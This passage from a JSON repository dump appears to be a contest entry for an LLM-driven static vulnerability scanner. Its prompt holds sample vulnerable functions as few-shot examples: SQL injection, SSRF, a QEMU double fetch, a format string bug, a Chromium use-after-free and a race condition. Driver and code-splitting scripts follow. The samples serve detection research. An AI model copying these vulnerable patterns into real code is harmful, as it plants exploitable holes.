a9)\r\n{\r\n……\r\n  v35 = sqlite3_mprintf(\"SELECT * FROM QTOKEN %s %s %s;\", v36, v38, v37);\r\n  v34 = sqlite3_open(a2, &v33);\r\n  if ( v34 )\r\n  {\r\n    sqlite3_free(v35);\r\n    sqlite3_free(v38);\r\n    sqlite3_free(v37);\r\n    v22 = (const char *)sqlite3_errmsg(v33);\r\n    sub_62648(\"open %s failed! (%d, %s)\\n\", a2, v34, v22);\r\n    return 4294967276LL;\r\n  }\r\n  else\r\n  {\r\n    sqlite3_busy_timeout(v33, 60000LL);\r\n    v34 = sqlite3_exec(v33, v35, a1, a9, 0LL); //执行`sqlite3_exec`实现sql注入\r\n……\r\n}\r\n\r\n\r\n示例二：在函数中SchemaHandleFunc中SSRF漏洞，\r\nfunc (m *Mux) SchemaHandleFunc(c echo.Context) (err error) {\r\n    if m.Disable {\r\n        c.Response().WriteHeader(http.StatusForbidden)\r\n        _, _ = c.Response().Write([]byte(\"schema is disabled\"))\r\n        return\r\n    }\r\n\r\n    r := c.Request()\r\n\r\n    //  protocol:= r.Header.Get(\"X-InstanceProtocol\")\r\n    //  sslActive:=r.Header.Get(\"X-InstanceSSL\")\r\n    var (\r\n        response   *http.Response\r\n        req        *http.Request\r\n        instanceIP = r.Header.Get(\"X-InstanceIP\")\r\n        requestUrl = strings.Replace(r.RequestURI, \"testSchema/\", \"\", 1)\r\n        url        = \"http://\" + instanceIP + requestUrl\r\n    )\r\n\r\n    switch r.Method {\r\n    case \"GET\":\r\n        req, err = http.NewRequest(http.MethodGet, url, nil)\r\n    case \"POST\":\r\n        req, err = http.NewRequest(http.MethodPost, url, r.Body)\r\n    case \"PUT\":\r\n        req, err = http.NewRequest(http.MethodPut, url, r.Body)\r\n    case \"DELETE\":\r\n        req, err = http.NewRequest(http.MethodDelete, url, r.Body)\r\n    default:\r\n        c.String(http.StatusNotFound, \"Method not found\")\r\n        return\r\n\r\n    }\r\n\r\n    if err != nil {\r\n        c.String(http.StatusInternalServerError,\r\n            fmt.Sprintf(\"( Error while creating request due to : %s\", err))\r\n        return\r\n    }\r\n\r\n    for key, values := range r.Header {\r\n        for _, val := range values {\r\n            if key == \"Accept-Encoding\" || key == \"Connection\" || key == \"X-Schemaname\" || key == \"Cookie\" || key == \"User-Agent\" || key == \"AppleWebKit\" || key == \"Dnt\" || key == \"Referer\" || key == \"Accept-Language\" {\r\n                continue\r\n            } else {\r\n                req.Header.Add(key, val)\r\n            }\r\n\r\n        }\r\n    }\r\n    req.Header.Add(\"Content-Type\", \"application/json\")\r\n    client := http.Client{Timeout: time.Second * 20}\r\n    response, err = client.Do(req)\r\n    if err != nil {\r\n        c.String(http.StatusNotFound,\r\n            fmt.Sprintf(\"( Error while sending request due to : %s\", err))\r\n        return\r\n    }\r\n    respBody, err := ioutil.ReadAll(response.Body)\r\n    if err != nil {\r\n        c.String(http.StatusNotFound,\r\n            fmt.Sprintf(\"(could not fetch response body for error %s\", err))\r\n        return\r\n    }\r\n\r\n    c.String(http.StatusOK, string(respBody))\r\n    return nil\r\n}   其中，req 网络请求的被输入到client.Do执行导致SSRF漏洞\r\n\r\n\r\n\r\n示例三：函数qxl_cursor中存在double-fetch漏洞，函数中涉及多次对cursor的操作，先用cursor_alloc进行分配，再在后续对cursor->header.width, cursor->header.height进行处理，但是实际上cursor->header.width等变量可以被用户持有，并在分配到使用的时间间隙中被修改\r\n```\r\nstatic QEMUCursor *qxl_cursor(PCIQXLDevice *qxl, QXLCursor *cursor,\r\n                              uint32_t group_id)\r\n{\r\n    QEMUCursor *c;\r\n    uint8_t *and_mask, *xor_mask;\r\n    size_t size;\r\n\r\n    c = cursor_alloc(cursor->header.width, cursor->header.height);\r\n\r\n    if (!c) {\r\n        qxl_set_guest_bug(qxl, \"%s: cursor %ux%u alloc error\", __func__,\r\n                cursor->header.width, cursor->header.height);\r\n        goto fail;\r\n    }\r\n\r\n    c->hot_x = cursor->header.hot_spot_x;\r\n    c->hot_y = cursor->header.hot_spot_y;\r\n    switch (cursor->header.type) {\r\n    case SPICE_CURSOR_TYPE_MONO:\r\n        /* Assume that the full cursor is available in a single chunk. */\r\n        size = 2 * cursor_get_mono_bpl(c) * c->height;\r\n        if (size != cursor->data_size) {\r\n            fprintf(stderr, \"%s: bad monochrome cursor %ux%u with size %u\\n\",\r\n                    __func__, c->width, c->height, cursor->data_size);\r\n            goto fail;\r\n        }\r\n        and_mask = cursor->chunk.data;\r\n        xor_mask = and_mask + cursor_get_mono_bpl(c) * c->height;\r\n        cursor_set_mono(c, 0xffffff, 0x000000, xor_mask, 1, and_mask);\r\n        if (qxl->debug > 2) {\r\n            cursor_print_ascii_art(c, \"qxl/mono\");\r\n        }\r\n        break;\r\n    case SPICE_CURSOR_TYPE_ALPHA:\r\n        size = sizeof(uint32_t) * cursor->header.width * cursor->header.height; # cursor 是 guest 物理内存，直接读取可能受到竞争\r\n        qxl_unpack_chunks(c->data, size, qxl, &cursor->chunk, group_id);\r\n        if (qxl->debug > 2) {\r\n            cursor_print_ascii_art(c, \"qxl/alpha\");\r\n        }\r\n        break;\r\n    default:\r\n        fprintf(stderr, \"%s: not implemented: type %d\\n\",\r\n                __func__, cursor->header.type);\r\n        goto fail;\r\n    }\r\n    return c;\r\n\r\nfail:\r\n    cursor_put(c);\r\n    return NULL;\r\n}\r\n```\r\n对 guest 可控制的值 `cursor->header.width` 以及 `cursor->header.height` 的 double fetch 行为可能导致 heap-based buffer overflow.\r\n\r\n\r\n示例四：函数varify中存在CSRF漏洞，该漏洞在处理用户提交的配置文件时，存在潜在的跨站请求伪造（CSRF）攻击。这个漏洞允许攻击者通过构造恶意请求来修改用户的配置文件，而不需要知道用户的认证信息。在`class UserPreference`的`varify()`中，具体触发流程包括：\r\n1. 通过 `if(\"saveProfile\".equals(request.getParameter(\"action\")))` 条件判断是否执行保存配置文件的操作。\r\n2. 调用 `userMgr.parseProfile(wikiContext)` 解析来自请求的用户配置文件数据。\r\n3. 使用 `userMgr.validateProfile(wikiContext, profile)` 对解析后的配置文件进行验证。\r\n4. 如果没有错误消息，调用 `userMgr.setUserProfile(wikiSession, profile)` 更新用户配置文件，并使用 `CookieAssertionLoginModule.setUserCookie(response, profile.getFullname())` 设置用户cookie。\r\n\r\n\r\n\r\n示例五：函数sub_ACC670中存在格式化字符串漏洞\r\n```C\r\nint __fastcall sub_ACC670(__int64 a1, __int64 a2)\r\n{\r\n    //...\r\n\r\n  v3 = sub_AE33A0(a2, \"authip\");\r\n  if ( v3 || (v3 = sub_AE33A0(a2, \"fmg_fqdn\")) != 0 || (v3 = sub_AE33A0(a2, \"mgmtip\")) != 0 )\r\n    snprintf((char *)(a1 + 204), 0x7FuLL, *(const char **)(v3 + 8));\r\n    // ...\r\n}\r\n```\r\n在函数`sub_ACC670`中获取传输的fmg_fqdn或mgmtip后作为格式化串，传入snprintf，存在格式化字符串漏洞\r\n\r\n\r\n示例六：在函数URLLoader::NotifyCompleted中存在UAF漏洞\r\n```C++\r\nvoid URLLoader::SetUpUpload(const ResourceRequest& request,\r\n                            int error_code,\r\n                            std::vector<base::File> opened_files) {\r\n  if (error_code != net::OK) {\r\n    DCHECK(opened_files.empty());\r\n    // Defer calling NotifyCompleted to make sure the URLLoader finishes\r\n    // initializing before getting deleted.\r\n    base::SequencedTaskRunnerHandle::Get()->PostTask(\r\n        FROM_HERE, base::BindOnce(&URLLoader::NotifyCompleted,\r\n                                  base::Unretained(this), error_code));\r\n    return;\r\n  }\r\n  scoped_refptr<base::SequencedTaskRunner> task_runner =\r\n      base::ThreadPool::CreateSequencedTaskRunner(\r\n          {base::MayBlock(), base::TaskPriority::USER_VISIBLE});\r\n  url_request_->set_upload(CreateUploadDataStream(\r\n      request.request_body.get(), opened_files, task_runner.get()));\r\n  if (request.enable_upload_progress) {\r\n    upload_progress_tracker_ = std::make_unique<UploadProgressTracker>(\r\n        FROM_HERE,\r\n        base::BindRepeating(&URLLoader::SendUploadProgress,\r\n                            base::Unretained(this)),\r\n        url_request_.get());\r\n  }\r\n  BeginTrustTokenOperationIfNecessaryAndThenScheduleStart(request);\r\n}\r\n```\r\n函数`URLLoader::SetUpUpload`中使用`BindOnce`绑定回调`URLLoader::NotifyCompleted`,传入了`base::Unretained(this)`，如果在任务执行前this被销毁，就会在`URLLoader::NotifyCompleted`时访问被释放的内存导致UAF\r\n\r\n示例七：函数StorageService::GetLastFailedSaveLocationPath中存在race condition漏洞，具体原理为StorageService::GetLastFailedSaveLocationPath函数中在操作关键全局变量时没有进行锁保护，从而导致条件竞争，block可能在运行期间达到非预期结果，从而导致程序运行错误\r\n__int64 __fastcall StorageService::GetLastFailedSaveLocationPath(StorageService *this, HLOCAL *a2)\r\n{\r\n  __int64 result; // rax\r\n  __int64 v4; // rdi\r\n  unsigned __int64 v5; // rdi\r\n  HLOCAL v6; // rax\r\n  unsigned int v7; // edi\r\n  int v8; // [rsp+20h] [rbp-8h]\r\n  wil::details::in1diag3 *retaddr; // [rsp+28h] [rbp+0h]\r\n\r\n  if ( !a2 )\r\n    return 2147942487i64;\r\n  *a2 = 0i64;\r\n  result = (__int64)Block;\r\n  if ( Block )\r\n  {\r\n    v4 = -1i64;\r\n    do\r\n      ++v4;\r\n    while ( Block[v4] );\r\n    v5 = v4 + 1;\r\n    v6 = LocalAlloc(0x40u, 2 * v5);\r\n    *a2 = v6;\r\n    if ( v6 )\r\n    {\r\n      v7 = StringCchCopyW((unsigned __int16 *)v6, v5, Block);\r\n      free(Block);\r\n      Block = 0i64;\r\n      if ( v7 )\r\n      {\r\n        LocalFree(*a2);\r\n        *a2 = 0i64;\r\n      }\r\n      return v7;\r\n    }\r\n    else\r\n    {\r\n      wil::details::in1diag3::Return_Hr(\r\n        retaddr,\r\n        (void *)0x171E,\r\n        (unsigned int)\"onecore\\\\drivers\\\\storage\\\\storsvc\\\\service\\\\storageservice.cpp\",\r\n        (const char *)0x8007000Ei64,\r\n        v8);\r\n      return 2147942414i64;\r\n    }\r\n  }\r\n  return result;\r\n}\r\n\r\nAppendix: some possible function types\r\n1.Double-Fetch issues involving multiple interactions with kernel functions, such as copy_from_user(), get_user(), copy_to_user() and put_user(), and if the function involve kernel malloc function like cursor_alloc and use malloc resource not at once, which must have a vulnerability.\r\n2.SQL Injection: pay attention to dangerous functions like mysql_query(). If there are any, please focus on these points:(1)Direct SQL query construction;(2)Examine how user input is incorporated into SQL queries. and finally provide me with the function that is most likely to have an SQL injection vulnerability.\r\n3.Race condition: Please focus on the following: (1)Checking resources before use, such as verifying file paths or structure head before using functions like open() to operate on files.(2)Improper use of locking functions that can lead to vulnerabilities. and finally provide me with the function that is most likely to have an race condition vulnerability.\r\n4.Use-after-free:focus on the situation where resources are released before being used. Please pay special attention to functions related to resource release and allocation that are associated with Use-After-Free (UAF), such as free() and malloc(). and finally provide me with the function that is most likely to have an UAF vulnerability.\r\n5.format string: occurs when an application uses user-supplied input as the format string parameter in formatting functions like printf(), fprintf(), sprintf(), etc., without proper validation or sanitization. , provide me with the function that is most likely to have an format string vulnerability.\r\n6.CSRF and SSRF:pay attention to High-Risk Functions and Methods like (HTML rendering functions), (JavaScript generation) or (manipulation and DOM manipulation methods), if have any CSRF vulnerability, provide me with the function that is most likely to have an CSRF vulnerability.\r\n\"\"\"\r\nresponse_schemas_step2 = [\r\n    ResponseSchema(name=\"functions\", description=\"a list of function names with their respective confidence levels\"),\r\n    ResponseSchema(name=\"summary\", description=\"the summary of your judging reason\")\r\n\r\n]\r\nmemory=None\r\n\r\nlength_limit=14000\r\n\r\ndef check_output_regex(output):\r\n    pattern = r\"maximum context length is 8000 tokens\"\r\n    if re.search(pattern, output):\r\n        return 1\r\n    else:\r\n        return 0\r\n\r\ndef llm_api_step2(prompt_code, key_env, base_env):\r\n    global memory\r\n    global length_limit\r\n    if len(prompt_code)>length_limit:\r\n        prompt_code = prompt_code[:length_limit]\r\n    llm = ChatOpenAI(\r\n        streaming=True,\r\n        verbose=True,\r\n        # key和base开赛后提供\r\n        openai_api_key=key_env,\r\n        openai_api_base=base_env,\r\n        model_name='tq-gpt',\r\n        timeout=30\r\n    )\r\n    # create HumanMessagePromptTemplate\r\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2)\r\n    SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\r\n    # conbine Prompt\r\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\r\n\r\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2)\r\n    if memory==None:\r\n        memory = ConversationSummaryMemory(llm=llm)\r\n    format_instructions = output_parser.get_format_instructions()\r\n    #prompt = split_prompt(prompt, 6000)\r\n    \r\n    chain=LLMChain(llm=llm, prompt=chat_template, memory=memory)\r\n    try:\r\n        output = chain.run(code_context=prompt_code)\r\n        #print(output)\r\n        json_out=output_parser.parse(output)\r\n        # AI may regard a content to be None not NULL\r\n        # Change later\r\n        for i in range(10):\r\n            if json_out[\"functions\"]:\r\n                break\r\n            output = chain.run(code_context=prompt_code)\r\n            #print(output)\r\n            json_out=output_parser.parse(output)\r\n        return json_out\r\n    except Exception as e:\r\n        print(f\"Request timed out. {e}\")\r\n        if check_output_regex(str(e)) == 1:\r\n            length_limit = length_limit - 2000\r\n        return None\r\n    \r\ndef check_others(prompt_code, key_env, base_env):\r\n    global length_limit\r\n    global memory\r\n    memory= None\r\n    length_limit = 14000\r\n    sample=examples\r\n    json_out=llm_api_step2(\"###Examples###\"+sample, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(\"###Examples###\"+sample, key_env, base_env)\r\n    json_out=llm_api_step2(\"###New Content###\"+prompt_code, key_env, base_env)\r\n    for i in range(50):\r\n        if json_out is not None:\r\n            break\r\n        json_out=llm_api_step2(\"###New Content###\"+prompt_code, key_env, base_env)\r\n    return json_out\r\n"
  },
  {
    "path": "task2_source_code/final_version/test.py",
    "content": "#!/usr/local/bin/python3\nfrom langchain_openai import ChatOpenAI\nfrom langchain_core.messages import HumanMessage, SystemMessage\nfrom langchain.prompts import PromptTemplate,ChatPromptTemplate\nfrom langchain.chains import LLMChain, SimpleSequentialChain\n\nfrom langchain.prompts import (\n    ChatPromptTemplate,\n    PromptTemplate,\n    SystemMessagePromptTemplate,\n    AIMessagePromptTemplate,\n    HumanMessagePromptTemplate\n)\nfrom langchain.output_parsers import StructuredOutputParser, ResponseSchema\nfrom langchain.schema import (\n    AIMessage,\n    HumanMessage,\n    SystemMessage\n)\nfrom Splitting_function_CC import process_c_files\nfrom Splitting_function_py import process_python\nfrom Splitting_function_php import process_php_files_in_directory\nfrom Splitting_function_java import process_java_files\nfrom Splitting_function_go import extract_functions_with_receivers\nfrom Splitting_jsp import split_jsp_files\nfrom arbitrary import check_arbitrary,check_output_regex\nfrom bypass1 import check_bypass\nfrom int_overflow1 import check_int_overflow\nfrom bof_memory1 import check_bof\nfrom others_memory import check_others\nfrom command_memory import check_command\nimport os\nimport json\nimport time\nfrom bs4 import BeautifulSoup\nimport re\nimport csv\nimport re\n# 数据集所在的文件目录\ndata_dir = '/vlun_demo'\n#data_dir = './data40'\n\n# 答案文件保存的目录\nanswer_dir = '/result'\n#answer_dir = './result'\nenv_vars = os.environ\n\nkey_env=env_vars['API_KEY']\nbase_env=env_vars['API_BASE']\n#key_env=''\n#base_env='https://poc.qianxin.com'\n\n# prompt informations\nHumanPromptStep1 = PromptTemplate(\n    template=\"\"\"\n                User question: If you provide a code snippet to be verified, the language of the code snippet is {slice_lang}, and the code snippet may contain a vulnerability of type {slice_vul}, please summarize the following information as much as possible:\n                \"vul_functions\": the function names of the {slice_vul} vulnerability type in the code snippet.\n                \"related_functions\": other function names related to the dangerous function in the code snippet.\n\n                <context>\n                {ocr_result}\n                </context>\n                Use <context> Answer the user's question with the information in\n                Output format: {format_instructions}\n\n                Let's analyze step by step and give us your analysis process. Pay attention to the following points:\n                1. The code snippet provided may be related to the {slice_vul} vulnerability or may not be related to the {slice_vul} vulnerability;\n                2. If the code snippet provided is related to the {slice_vul} vulnerability, the output dangerous function and other related functions may be more than one;\n                3. If the code snippet provided is not related to the {slice_vul} vulnerability, the output \"vul_functions\" is NULL, and the \"related_functions\" is also NULL;\n                4. Please analyze from the perspective of the function call chain Analyze the code snippet provided, and save other functions in the same function call chain as the dangerous function in the \"related_functions\";\n                5. Please analyze the functions with security checks in the provided code snippets and consider whether they are dangerous functions or related to dangerous functions;\n                6. The code snippets provided are often incomplete. If there are custom functions with unknown function bodies, please analyze the additional context information they need by yourself;\n                7. Please analyze the code snippets provided from various angles of vulnerability analysis as much as possible, and be generous and thorough when identifying dangerous functions and other related functions, because you will analyze more code in subsequent steps;\n                8. Please do not output irrelevant function names to the results and do not output a list of dangerous functions that is too long (for example, more than 10 elements), otherwise it will affect our next judgment.\n                9. Please make sure that the output json is a legal json file and output your analysis process.        \n            \"\"\",\n    input_variables=[\"slice_lang\",\"slice_vul\",\"ocr_result\",\"format_instructions\"]\n)\n\n\n\nSystemPrompt = PromptTemplate(\n    template=\"\"\"You are a world-leading expert in vulnerability analysis, famous for discovering vulnerabilities in code snippets. You understand and are familiar with various languages including but not limited to decompiled pseudocode, C, C++, java, python, go, js, and you can read English and Chinese. Your task is to perform a detailed static code analysis, focusing on the following types of vulnerabilities:\n                1. Arbitrary File Access (Arbitrary_file_access)\n                2. Authentication Bypass (Authentication_bypass)\n                3. Buffer Overflow (Buffer_overflow)\n                4. Command Injection (Command_injection)\n                5. Integer Overflow (Integer_overflow)\n                6. Others (others): including but not limited to SQL injection, deserialization vulnerabilities, SSRF, XSS, UAF, conditional competition, format string and other types of vulnerabilities.\n            \"\"\"\n)\n\n#output\nresponse_schemas_step1 = [\n    ResponseSchema(name=\"vul_functions\", description=\"a list of all dangerous functions\", type=\"list[str]\"),\n    ResponseSchema(name=\"related_functions\", description=\"a list of all related functions\", type=\"list[str]\")\n]\n\n\nlength_limit=14000\n\n\"\"\"\nConnect to the OpenAI API and return the response\n\"\"\"\n\n# chat_template = ChatPromptTemplate.from_messages(\n#     [\n#         (\"system\", \"You are a cyber security engineer whose job is to look at vulnerability disclosure websites and compile vulnerability information.\"),\n#         (\"human\", \"Hello, how are you doing?\"),\n#         (\"ai\", \"I'm doing well, thanks!\"),\n#         (\"human\", \"{user_input}\"),\n#     ]\n# )\n# create SystemMessagePromptTemplate\n\nvul_list = [\"Arbitrary_file_access\", \"Authentication_bypass\", \"Buffer_overflow\", \"Command_injection\", \"Integer_overflow\", \"others\"]\nSystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt)\n\n\ndef llm_api_step1(prompt, slice_lang, slice_vul):\n    global length_limit\n    if len(prompt)>length_limit:\n        prompt = prompt[:length_limit]\n    llm = ChatOpenAI(\n        streaming=True,\n        verbose=True,\n        # key和base开赛后提供\n        openai_api_key=key_env,\n        openai_api_base=base_env,\n        model_name='tq-gpt',\n        timeout=300\n    )\n    # create HumanMessagePromptTemplate\n    HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep1)\n    # conbine Prompt\n    chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt])\n\n    output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step1)\n\n    format_instructions = output_parser.get_format_instructions()\n\n    chain=LLMChain(llm=llm, prompt=chat_template)\n    try:\n        output = chain.run(slice_lang=slice_lang,slice_vul=slice_vul,ocr_result=prompt,format_instructions=format_instructions)\n        #print(output)\n        json_out=output_parser.parse(output)\n        # AI may regard a content to be None not NULL\n        # Change later\n        for i in range(10):\n            # 先考虑输出只有危险函数的情况，其他相关函数（如调用链）不管\n            if json_out[\"vul_functions\"]:\n                break\n            output = chain.run(slice_lang=slice_lang,slice_vul=slice_vul,ocr_result=prompt,format_instructions=format_instructions)\n            #print(output)\n            json_out=output_parser.parse(output)\n        return json_out\n    except Exception as e:\n        print(f\"Request timed out. {e}\")\n        if check_output_regex(str(e)) == 1:\n            length_limit = length_limit - 2000\n        return None\n    \ndef split_files(subdir_path, ext):\n    functions=None\n    if ext=='.c' or ext=='.h' or ext=='.cc' or ext=='.cpp':\n        functions=process_c_files(subdir_path)\n    elif ext=='.py':\n        functions=process_python(subdir_path)\n    elif ext=='.ts':\n        functions=None\n    elif ext=='.js':\n        functions=split_jsp_files()\n    elif ext=='.java':\n        functions=process_java_files(subdir_path)\n    elif ext=='.php':\n        functions=process_php_files_in_directory(subdir_path)\n    elif ext=='.go':\n        functions=extract_functions_with_receivers(subdir_path)\n    return functions\n\ndef run_step1_considering_timeout(file_content, slice_lang, slice_vul):\n    global length_limit\n    length_limit = 14000\n    json_out_step1 = llm_api_step1(file_content, slice_lang=slice_lang, slice_vul=slice_vul)\n    for i in range(50):\n        if json_out_step1 is not None:\n            break\n        json_out_step1 = llm_api_step1(file_content, slice_lang=slice_lang, slice_vul=slice_vul)\n    return json_out_step1\n    \n\nwrited_result=0\ndef check_and_write(file_path,target1,target2,highest_score,second_highest,total_file_content):\n    global writed_result\n    try:\n        if writed_result<=4:\n            with open(file_path, 'a') as f:\n                f.write(target1+'\\n')\n                writed_result+=1\n                if highest_score < second_highest*2:\n                    f.write(target2+'\\n')\n                    writed_result+=1\n    except:\n        pass\n\ndef run_step2(slice_vul,file_content, total_file_content):\n    json_out_step2=None\n    if slice_vul==\"Arbitrary_file_access\":\n        json_out_step2 = check_arbitrary(file_content, key_env, base_env)\n    elif slice_vul==\"Authentication_bypass\":\n        json_out_step2 = check_bypass(file_content, key_env, base_env)\n    elif slice_vul==\"Buffer_overflow\":\n        json_out_step2 = check_bof(file_content, key_env, base_env)\n    elif slice_vul==\"Command_injection\":\n        json_out_step2 = check_command(file_content, key_env, base_env)\n    elif slice_vul==\"Integer_overflow\":\n        json_out_step2 = check_int_overflow(file_content, key_env, base_env)\n    else:\n        json_out_step2 = check_others(file_content, key_env, base_env)\n    if not json_out_step2:\n        return#not implemented yet\n    print(json_out_step2)\n    highest_score=0\n    second_highest=0\n    target1=None\n    target2=None\n    for item in json_out_step2['functions']:\n        if item['confidence']>highest_score:\n            target1=item['name']\n            highest_score=item['confidence']\n        elif item['confidence']>second_highest:\n            target2=item['name']\n            second_highest=item['confidence']\n    #if highest_score < second_highest*2:\n    #    print(\"prepare writing\",target1,target2)\n    #else:\n    #    print(\"prepare writing\",target1)\n    a_dir = os.path.join(answer_dir, slice_vul)\n    file_path = os.path.join(a_dir, 'answer.txt')\n    if not os.path.exists(a_dir):\n        os.makedirs(a_dir)\n    check_and_write(file_path,target1,target2,highest_score,second_highest,total_file_content)\n\ndef step_by_step(type, subdir_path, answer_dir):\n    global writed_result\n    writed_result=0\n    #split 返回content, slice_lang and slice_vul\n    # Main function call\n    #directory_path = '0'  # Replace with the actual directory path\n    #process_directory(directory_path)\n    #exit()\n\n    # all type:\n    #  .bz2, .c, .cc, .cfg, .crt, .csv, .go, .gz, .h, .html, .java, .jsp, .key, .php, .po, .py, .pyi, .ts, .txt, .xml\n    # 黑名单文件的后缀名\n    extensions = [\".pyi\",\".bz2\",\".cfg\",\".crt\",\".csv\",\".gz\",\".html\",\".key\",\".po\",'.txt','.xml']\n\n    ext=None\n    file_num=0\n    for filename in os.listdir(subdir_path):\n        file_path = os.path.join(subdir_path, filename)\n        # 确保是文件而不是子目录\n        if os.path.isfile(file_path):\n            # 获取文件的扩展名（后缀名）\n            ext = os.path.splitext(filename)[1].lower()\n            if ext in extensions:\n                continue\n            file_num+=1\n            if file_num>1:\n                break\n            with open(file_path, encoding='utf-8') as file:\n                file_content = file.read()\n\n    if file_num>1 or len(file_content)>10000:#split\n        functions=None\n        \n    slice_vul = type\n    #if slice_vul!=\"Arbitrary_file_access\" and slice_vul!=\"Buffer_overflow\":\n    #    return\n    \n    slice_lang = ext[1:]\n    if ext=='.c' or ext=='.h':\n        slice_lang = \"decompiled pseudocode or c programming language\"\n    elif ext=='.cc' or ext=='.cpp':\n        slice_lang = \"c++\"\n    elif ext=='.py':\n        slice_lang = \"python\"\n    elif ext=='.ts':\n        slice_lang = \"TypeScript\"\n    elif ext=='.jsp':\n        slice_lang = \"JavaScript\"\n    print(slice_lang,slice_vul)\n    if file_num<=1 and len(file_content)<=14000:\n        #edit, simply run step2\n        run_step2(slice_vul,file_content,file_content)\n        #json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul)\n    else:\n        #split\n        if functions==None:\n            return\n        total=\"\"\n        for function in functions:\n            total+=function\n        file_content=\"\"\n        dangerous_funcs=[]\n        related_funcs=[]\n        if slice_vul==\"Buffer_overflow\" or slice_vul==\"Integer_overflow\" or slice_vul==\"Command_injection\" or slice_vul==\"others\":\n            for function in functions:\n                if len(file_content)+len(function)<=14000:\n                    file_content+=function\n                else:\n                    run_step2(slice_vul,file_content,total)\n                    file_content=function\n            run_step2(slice_vul,file_content,total)\n            return\n        for function in functions:\n            if len(file_content)+len(function)<=14000:\n                file_content+=function\n            else:\n                json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul)\n                dangerous_funcs+=json_out_step1[\"vul_functions\"]\n                try:\n                    related_funcs+=json_out_step1[\"related_functions\"]\n                except:\n                    pass\n                file_content=function\n        json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul)\n        dangerous_funcs+=json_out_step1[\"vul_functions\"]\n        try:\n            related_funcs+=json_out_step1[\"related_functions\"]\n        except:\n            pass\n        #print(dangerous_funcs)\n        #print(related_funcs)\n        file_content2=\"\"\n        analysed_funcs=[]\n        for function in functions:\n            try:\n                head=function.split('\\n')[0]+function.split('\\n')[1]+function.split('\\n')[2]  \n            except:\n                head=function\n            for danger in dangerous_funcs:\n                if danger in analysed_funcs:\n                    continue\n                if danger in head:\n                    if len(file_content2)+len(function)>14000:\n                        print(\"full\")\n                        run_step2(slice_vul,file_content2,total)\n                        file_content2=function\n                    file_content2+=function\n                    analysed_funcs.append(danger)\n        print(len(file_content2))\n\n        if len(file_content2)<13000:#still have space\n            for function in functions:\n                try:\n                    head=function.split('\\n')[0]+function.split('\\n')[1]+function.split('\\n')[2]  \n                except:\n                    head=function\n                for danger in related_funcs:\n                    if danger in analysed_funcs:\n                        continue\n                    if danger in head:\n                        if len(file_content2)+len(function)>14000:\n                            print(\"full\")\n                            continue\n                        file_content2+=function\n                        analysed_funcs.append(danger)\n        print(len(file_content2))\n        run_step2(slice_vul,file_content2,total)\n    \ndef search_data_dir(data_dir, answer_dir):\n    # 当前目录下的数据集路径\n    root_dir = data_dir\n    answer_dir=answer_dir\n    # 获取第一层所有目录名称\n    top_level_dirs = []\n\n    # 用于存储所有二级目录和对应的文件数量\n    subdirs_with_file_count = []\n\n    \n    # 遍历每一个第一层目录\n    for type in top_level_dirs:\n        print(f\"Processing directory: {type}\")\n        \n        # 获取每个第一层目录的路径\n        subdir_path = os.path.join(root_dir, type)\n        \n        # 遍历每个二级目录（数字目录如0, 1, 2）并统计文件数量\n        for i in os.listdir(subdir_path):\n            sub_dir = os.path.join(subdir_path, i)\n            if os.path.isdir(sub_dir):\n                total_size = sum(\n                    os.path.getsize(os.path.join(sub_dir, f)) for f in os.listdir(sub_dir) \n                    if os.path.isfile(os.path.join(sub_dir, f))\n                )\n                # 将二级目录及其总文件大小保存到列表中\n                subdirs_with_file_count.append((type, i, total_size))\n                # 统计该二级目录下的文件数量\n                #file_count = len([f for f in os.listdir(sub_dir) if os.path.isfile(os.path.join(sub_dir, f))])\n                # 将二级目录及其文件数量保存到列表中\n                #subdirs_with_file_count.append((type, i, file_count))\n\n    # 根据文件数量排序（从小到大）\n    subdirs_with_file_count.sort(key=lambda x: x[2])\n\n    # 按照排序后的顺序输出文件内容\n    for type, subdir, _ in subdirs_with_file_count:\n        subdir_path = os.path.join(root_dir, type, subdir)\n        print(f\"\\nEntering subdirectory: {subdir} in {type}\")\n        try:\n            step_by_step(type,subdir_path,answer_dir)\n        except Exception as e:\n            print(\"analysing file error\",e)\n        # 遍历子目录中的文件\n        #for filename in os.listdir(subdir_path):\n            # file_path = os.path.join(subdir_path, filename)\n            \n            # # 确保是文件而不是子目录\n            # if os.path.isfile(file_path):\n            #     # 获取文件的扩展名（后缀名）\n            #     ext = os.path.splitext(filename)[1].lower()\n            #     if ext in extensions:\n            #         continue\n            #     # 打开并读取文件内容\n            #     try:\n            #         with open(file_path, encoding='utf-8') as file:\n            #             file_content = file.read()\n            #             step_by_step(type, ext, answer_dir, file_content)\n            #     except Exception as e:\n            #         print(\"analysing file error\",e)\n    #print(file_count)\n\n\nif __name__ == '__main__':\n    search_data_dir(data_dir, answer_dir)\n    \n"
  },
  {
    "path": "task2_source_code/first_version/Splitting_function_C2.py",
    "content": "import os\r\nimport re\r\n\r\n\r\ndef extract_c_functions_with_stack(file_path):\r\n    \"\"\"\r\n    Extract all functions from a C/C++ file using a stack-based approach to ensure complete function bodies.\r\n    :param file_path: Path to the C/C++ file\r\n    :return: A list of all function code blocks\r\n    \"\"\"\r\n    with open(file_path, 'r', encoding='utf-8') as file:\r\n        lines = file.readlines()\r\n\r\n    functions = []\r\n    stack = []\r\n    current_function = []\r\n    inside_function = False\r\n    signature_detected = False\r\n\r\n    for line in lines:\r\n        stripped_line = line.strip()\r\n\r\n        # Detect potential function signature\r\n        if not inside_function and re.match(r\"^[\\w\\s\\*\\&]+[\\w\\*]+\\s*\\([^)]*\\)\\s*\\{?$\", stripped_line):\r\n            signature_detected = True\r\n            inside_function = True\r\n            current_function.append(line)\r\n\r\n        elif inside_function:\r\n            current_function.append(line)\r\n\r\n            # Track opening and closing braces using a 